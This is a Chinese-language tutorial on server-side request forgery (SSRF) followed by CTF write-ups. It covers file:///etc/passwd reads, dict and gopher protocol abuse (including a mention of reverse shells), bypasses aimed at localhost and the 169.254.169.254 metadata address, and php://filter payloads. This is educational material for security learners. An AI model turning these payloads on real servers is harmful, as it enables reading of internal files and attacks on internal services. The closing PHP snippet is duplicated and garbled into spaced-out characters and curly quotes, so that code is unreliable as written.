SSRF,服务端请求伪造,是一种攻击者构造攻击连传给服务器,给服务端执行并发起请求造成安全问题漏洞,一般用来在外网探测或供给内网服务。
file_get_contents() //将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)
readfile() //输出一个文件的内容
fsockopen() //打开一个网络连接或者一个Unix套接字连接
curl_init() //初始化一个新的会话,返回一个cURL句柄,供
//curl_setopt(),curl_exec(),curl_close()执行给定的cURL会话。
fopen() //打开一个文件或者URL
//PHP原生类SoapClient在触发反序列化时可导致SSRF
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
file///etc/passwd (敏感文件)
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
dict://serverip:port//命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF)
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
http/s协议:探测内网主机存活
gopher协议:
gopher:///IP:port/_数据流
两种利用方式
用gopher协议发送get请求:
请求要构造的http数据包
url编码一次,替换%0A为%0D%0A,http包最后加%0D%0A代表消息结束(换行)
用gopher协议发送post请求:
与get传参区别为:post有四个必要参数
Content-Type,Content-Length,host,post的参数
注:其中Content-Length 要与post的长度相同
(1).使用@绕过,例子,http://[email protected],因为@表示如果这个被执行,则扔掉前面的。
(2).IP地址转化为各种进制的IP地址省略写法,例如:0177.0.0.1(八进制),127.1
(3).短网址绕过,例子:百度的短网址:https://dwz.cn/
(4).利用[::],可以用于绕过localhost,http://169.254.169.254>>http://[::169.254.169.254]
(5).使用句号,例子:127。0。0。1 >>> 127.0.0.1
(6).CRLF 编码绕过:
%0d->0x0d->\r回车
%0a->0x0a->\n换行
首先启动环境,没思路,试试www.baidu.com
又没思路了,试试用http://www.baidu.com
发现与上面的结果不同,说明可以使用http等协议来操作,所以试试用file协议读取本地文件,直接尝试读取flag.php,
这里我做过尝试,光输入flag也会这样,根据提示,访问一下fl4g文件,
有一个提示信息了,试试访问这个文件
确实存在这个文件,由于出现了file_get_contents()函数,所以这可能存在两个漏洞,一个ssrf漏洞,一个文件包含漏洞,这里可以直接使用文件包含漏洞,因为过滤了file,所以,这里只有使用文件包含漏洞进行读取文件,构造payload:
?file=php://filter/read=convert.base64-encode/resource=/flag
由于这一次包含的文件内容只有一个flag,不会被执行,所以可以直接使用以下payload:
?file=php://filter/resource=/flag
拿到flag。
打开环境
发现是一个页面,没思路,访问下index.php:
拿到了一个php源代码,先提前说明以下相关的函数作用:
fsockeopen() //用于建立一个 socket 连接。
fwrite() //将数据写入文件中
feof() //用于检测文件结束符的函数,当文件结束则返回0
fgets() //用于读取一行数据,同时会过滤掉读取内容中的HTML和PHP标记
通过php语言生成一个base64编码的http请求头,作为data参数传入即可,相关代码如下
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
GET /flag.php HTTP/1.1\r\n";
$out .= “Host: 127.0.0.1\r\n”;
$out .= “Connection: Keep-Alive\r\n\r\n”;
echo o u t ; e c h o b a s e 6 4 e n c o d e ( out; echo base64_encode( out;echobase64encode(out)